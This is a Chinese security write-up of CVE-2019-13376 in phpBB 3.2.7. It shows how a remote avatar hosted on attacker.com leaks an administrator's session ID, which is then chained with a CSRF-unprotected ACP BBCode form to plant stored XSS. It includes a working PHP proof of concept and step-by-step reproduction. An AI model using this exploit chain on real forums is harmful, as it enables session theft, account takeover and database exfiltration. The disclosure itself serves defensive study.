phpBB漏洞分析:从CSRF令牌劫持到存储型XSS

 

0x00 前言

当管理员访问phpBB中的管理员控制面板(ACP),然后再点击“Board index”链接时,系统会将会话id存放在GET请求的URL参数中。通过精心构造的远程avatar URL,攻击者可以窃取这个会话ID,然后发起CSRF攻击,创建XSS BBCode,在目标服务器上实现存储型XSS。

漏洞相关信息如下:

CVE:CVE-2019-13376

影响范围:phpBB 3.2.7版

修复状态:官方已在3.2.8版中修复

 

0x01 漏洞细节

窃取管理员会话ID

phpBB3可以分为两大部分:前端以及后端。前端用来创建帖子(post)、管理账户资料、发送私人消息(PM)等。后端(或者ACP)用来管理整个面板,修改关键设置(比如附件的上传路径等)。后端也可以用来执行敏感操作,比如数据备份等。只有管理员才能访问管理面板。

当用户具备管理员权限时,通常也会登录前端环境。如果想访问后端,用户需要再次登录,输入凭据。这意味着phpBB3会将前端会话以及后端会话分隔开,但这两者彼此并不互斥。

管理面板比较有趣的一点在于,GET请求参数中包含管理员用户的会话ID。这意味着如果攻击者可以在目标站点中嵌入托管在自己域名上的外部图像,那么就有可能通过HTTP Referrer窃取到管理员的会话ID。如下图所示,这个会话ID位于sid参数中:

这里还有更有趣的一点,当管理员完成后端操作,点击右上角的“Board Index”链接后会回到论坛的index页面,并且SID值依然会被添加到GET参数中,如下图所示:

如上图所示,SID参数依然以GET请求参数形式存在,并且没有变化。随后我观察了一下前端的index页面,想看看能不能找到方法嵌入用户可以控制的外部头像,这样我们就可以通过HTTP Referer窃取SID参数。

实际上这个任务比想象中的还要容易。如果目标phpBB3站点启用了远程avatar功能(这是常见的一种设置),用户不需要上传头像,可以直接从远程URL加载头像。

比如,攻击者可以从attacker.com加载外部图像,如下所示:

然后攻击者可以通过通知系统,将这个外部图像嵌入前端系统的index页面。当用户收到通知后,就可以(在每个页面上)看到一个简短的通知概要,其中包含与该通知有关的用户的头像,如下图所示:

如上图所示,远程avatar已经嵌入该页面中(用户不需要点击通知提醒图标,头像自动会嵌入)。

这意味着只要管理员离开ACP页面,会话ID依然存放在GET参数中,如果该用户收到通知,那么会话ID就会通过HTTP Referer被窃取。

当出现如下情况,用户就会看到通知:

  • 用户收到PM
  • 某用户在帖子中提到了该用户
  • 另一个用户回复了该用户的主题(thread)
  • 订阅的话题中新增了帖子

从会话ID到存储型XSS

单单拿到管理员会话ID并不足以利用该用户成功登录,因为phpBB3的会话会与IP绑定。

在phpBB3点管理面板中,对“IP验证”对设置选项有如下一段描述:

该选项用来判断使用哪种模式来验证当前用户会话绑定的IP;All代表匹配完整地址,A.B.C匹配前面的x.x.x段,A.B匹配x.xNone禁用IP检查。在IPv6地址上,A.B.C匹配前4个IP地址块,A.B匹配前3个地址块。

默认的设置为A.B.C,因此从理论上来看,如果攻击者具备足够大的资源池以及动机,可以尝试从目标的网络运营商申请IP地址。然而这里我们有更简单的方法。

ACP中包含一个功能:“custom Bbcode”,该功能存在CSRF缺陷。与其他论坛一样,phpBB3允许论坛用户在帖子中使用短代码(shortcode,如[img]http://abc.com/image.jpg[/img]),私人信息以及主题会被转换成HTML代码,呈现给其他用户。phpBB3默认内置了一些短代码,如[img][url][I]等。“custom Bbcode”这个ACP功能可以帮助用户创建新的bbcode。如下图所示,攻击者可以利用新的自定义bbCode实现XSS:

现在回到CSRF漏洞。phpBB3在ACP中设置了两种机制来阻止CSRF攻击:

1、管理员的SID必须通过GET或者POST发送;

2、会为每个表单生成一个CSRF nonce。

查看bbCode表单的源代码,我们可以注意到如下片段:

// Set up general vars
$action    = $request->variable('action', '');
$bbcode_id = $request->variable('bbcode', 0);
$submit = $request->is_set_post('submit');
$this->tpl_name = 'acp_bbcodes';
$this->page_title = 'ACP_BBCODES';
$form_key = 'acp_bbcodes';
add_form_key($form_key);
if ($submit && !check_form_key($form_key))
{
    trigger_error($user->lang['FORM_INVALID'] . adm_back_link($this->u_action),
    E_USER_WARNING);
}

(以上代码位于/includes/acp/acp_bbcodes.phpmain方法中)

这里比较有趣的是,只有POST请求中设置了submit参数,系统才会检查CSRF nonce。如果不满足该条件,就不会检查nonce,但会继续执行。这意味着攻击者只要不在POST请求中发送submit参数,就能绕过第二个CSRF检查。

由于我们能满足第一个检查条件,因此有可能借助管理员的SID来CSRF攻击这个表单。幸运的是,request对象的variable()方法会返回GET或者POST变量,意味着我们有可能通过GET参数完成整个CSRF攻击过程。

因此,CSRF可以与第一个漏洞结合起来。攻击者可以在前端的index页面中嵌入指向攻击者服务器的外部URL,通过HTTP Referer获取SID参数,然后将请求重定向到该图像来利用ACP中的CSRF漏洞。

对应的PoC代码如下所示:

<?php
$target_url = "http://localhost/phpBB3-3.2.7/";
// put the desired shortcode here. {TEXT} is dynamic and allows for example
// [xss]customCode();[/xss] to turn into <script>customCode()</script>.
$custom_shortcode = "[xss]{TEXT}[/xss]";
// the HTML replacement. You can also hardcore the code between the script tags.
$shortcode_replacement = "<script>{TEXT}</script>";
// If a session ID is available, attempt the CSRF exploit
if(strpos($_SERVER['HTTP_REFERER'], 'sid') !== false) {
    // leak the session ID of the nonce
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    parse_str($parts['query'], $query);
    if(!isset($query['sid'])) {
        header('Content-Type: image/png');
        $img = imagecreatefrompng('avatar.png');
        imagepng($img);
        die;
    }
    // build the CSRF payload
    $payload = http_build_query(
        array(
            'bbcode_match' => $custom_shortcode,
            'bbcode_tpl' => $shortcode_replacement,
            'i' => 'acp_bbcodes',
            'mode' => 'bbcodes',
            'action' => 'create',
            'sid' => $query['sid']
        )
    );
    // adm is the default admin URL
    $exploit_url = $target_url . "/adm/?" . $payload;
    header('Location: ' . $exploit_url);
} else {
    header('Content-Type: image/png');
    $img = imagecreatefrompng('avatar.png');
    imagepng($img);
    die;
}

这段代码可以在后端中创建XSS短代码。

复现过程如下:

1、安装最新版的phpBB3,创建一个管理员账户;

2、在ACP中,转到“General”、“Avatar”设置,启用远程avatar功能;

3、将poc.php文件以及avatar.png上传到web服务器;

4、编辑poc.php文件,调整URL等参数匹配我们的安装环境;

5、在另一个标签页中创建一个新的论坛用户,通过该用户的身份认证;

6、转到/ucp.php页面,通过“Profile”、“Edit avatar”菜单来设置该用户的远程avatar地址;

7、设置远程avatar地址,该地址以.jpg或者.png结尾(比如http://attacker.com/poc.php?image.png)。此外,我们还可以通过.htaccess来隐藏URL中的.php元素;

8、以普通论坛用户身份,向管理员发送一个PM(具体内容不重要);

9、切回管理员用户;

10、访问后端;

11、点击“Board index”链接。

成功完成后,我们应该能看到新创建的XSS短代码。攻击者现在可以滥用这个短代码,在PM、话题或者帖子中执行任意XSS代码,以便控制用户账户、读取其他用户不公开的私人消息及帖子。此外,攻击者可以XSS攻击管理员,创建并下载数据库备份。

 

0x02 题外话

即使用户正常登录phpBB3前端,前端页面也会以GET请求参数形式来加载SID。这意味着攻击者也有可能在用户登录后,窃取任何用户的SID。然而因为存在IP地址验证,这种方式比较难以利用。

攻击者也可以通过CSRF来利用该漏洞。当在iframe中加载论坛页面(默认情况下这些页面并没有受X-Frame-Options保护),在没有通过GET请求参数提供正确的SID的情况下尝试加载管理面板(默认URL为/adm),此时管理员就会被重定向到论坛的前端页面,并且管理员的SID也会存在于GET请求参数中。

(完)